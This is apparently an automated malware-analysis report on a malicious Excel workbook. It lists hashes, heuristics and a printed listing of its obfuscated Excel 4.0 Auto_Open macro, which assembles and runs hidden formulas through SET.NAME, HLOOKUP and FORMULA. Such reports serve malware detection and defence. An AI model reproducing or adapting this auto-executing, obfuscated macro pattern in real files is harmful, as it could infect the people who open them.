Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dfb8a553e59c5c3e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:15 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 13c9a7722def48f3ffaebf105d490984 SHA-1: 5e8354cff1b6b988d6817fc1830da5181903f450 SHA-256: dfb8a553e59c5c3e4fe9e4bd70c2fa665c2b9c6dd5ba4c44c1fd4b2a0088258c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, and specifically that the Auto_Open function uses dangerous formula APIs like RUN. This strongly suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload. No specific family could be identified from the available evidence.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6697 bytes
SHA-256: 306a11e261e849cb057297cecf9d6f9970f6c1c791af3a23a7672a25a992213c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uGEYhERFa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C143 
' 0018     25 LABEL : Cell Value, String Constant - axNvhMvetH len=0 
' 0018     20 LABEL : Cell Value, String Constant - cOWZi len=0 
' 0018     20 LABEL : Cell Value, String Constant - CsEml len=0 
' 0018     27 LABEL : Cell Value, String Constant - cvvFlhShPGHn len=0 
' 0018     26 LABEL : Cell Value, String Constant - eqqFaaPjJbu len=0 
' 0018     27 LABEL : Cell Value, String Constant - jXsiPKFISBPK len=0 
' 0018     27 LABEL : Cell Value, String Constant - KCQrxupgrwhq len=0 
' 0018     27 LABEL : Cell Value, String Constant - LQjXflXueaUX len=0 
' 0018     25 LABEL : Cell Value, String Constant - LwxRjxorbn len=0 
' 0018     26 LABEL : Cell Value, String Constant - MtOEyPFukqT len=0 
' 0018     27 LABEL : Cell Value, String Constant - pXLsIxVKilsp len=0 
' 0018     21 LABEL : Cell Value, String Constant - qRuSAG len=0 
' 0018     24 LABEL : Cell Value, String Constant - tYmZhVtGe len=0 
' 0018     24 LABEL : Cell Value, String Constant - uXrIFQZsq len=0 
' 0018     21 LABEL : Cell Value, String Constant - Vzejpn len=0 
' 0018     26 LABEL : Cell Value, String Constant - WKcTkCiyKrA len=0 
' 0018     23 LABEL : Cell Value, String Constant - WwiCvcFv len=0 
' 0018     25 LABEL : Cell Value, String Constant - YKLsGLVgen len=0 
' 0018     27 LABEL : Cell Value, String Constant - zAuQbETOodjh len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZODJxS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uGEYhERFa,C46,"SET.NAME("zAuQbETOodjh",VALUE("0"))",""
'  uGEYhERFa,C51,"SET.NAME("cvvFlhShPGHn",zAuQbETOodjh)",""
'  uGEYhERFa,C53,"SET.NAME("pXLsIxVKilsp",zAuQbETOodjh)",""
'  uGEYhERFa,C55,"SET.NAME("Vzejpn",COUNTA(jXsiPKFISBPK))",""
'  uGEYhERFa,C58,"SET.NAME("eqqFaaPjJbu",COUNTA(LQjXflXueaUX))",""
'  uGEYhERFa,C61,[],""
'  uGEYhERFa,C65,"SET.NAME("CsEml","")",""
'  uGEYhERFa,C69,"cvvFlhShPGHn",""
'  uGEYhERFa,C72,"SET.NAME("KCQrxupgrwhq",HLOOKUP("*",jXsiPKFISBPK,cvvFlhShPGHn,FALSE))",""
'  uGEYhERFa,C76,"YKLsGLVgen",""
'  uGEYhERFa,C81,"SET.NAME("WwiCvcFv",zAuQbETOodjh)",""
'  uGEYhERFa,C85,[],""
'  uGEYhERFa,C90,"WwiCvcFv",""
'  uGEYhERFa,C95,"tYmZhVtGe",""
'  uGEYhERFa,C98,"LwxRjxorbn",""
'  uGEYhERFa,C102,"uXrIFQZsq",""
'  uGEYhERFa,C107,"SET.NAME("cOWZi",VALUE(HLOOKUP("*",LQjXflXueaUX,uXrIFQZsq,FALSE)))",""
'  uGEYhERFa,C111,"axNvhMvetH",""
'  uGEYhERFa,C113,"CsEml",""
'  uGEYhERFa,C116,"pXLsIxVKilsp",""
'  uGEYhERFa,C120,NEXT(),""
'  uGEYhERFa,C125,"qRuSAG",""
'  uGEYhERFa,C128,"SET.NAME("f",INT(T(FORMULA(T(CsEml)&"",""&T(qRuSAG)))))",""
'  uGEYhERFa,C133,"WKcTkCiyKrA",""
'  uGEYhERFa,C137,NEXT(),""
'  uGEYhERFa,C141,RETURN(),""
'  uGEYhERFa,C165,"SET.NAME("MtOEyPFukqT",C46)",""
'  uGEYhERFa,C169,"jXsiPKFISBPK",""
'  uGEYhERFa,C171,"SET.NAME("LQjXflXueaUX",R58C13)",""
'  uGEYhERFa,C176,"SET.NAME("WKcTkCiyKrA",184)",""
'  uGEYhERFa,C178,"SET.NAME("ZODJxS",3)",""
'  uGEYhERFa,C183,MtOEyPFukqT(),""
'  uGEYhERFa,C184,HALT(),""

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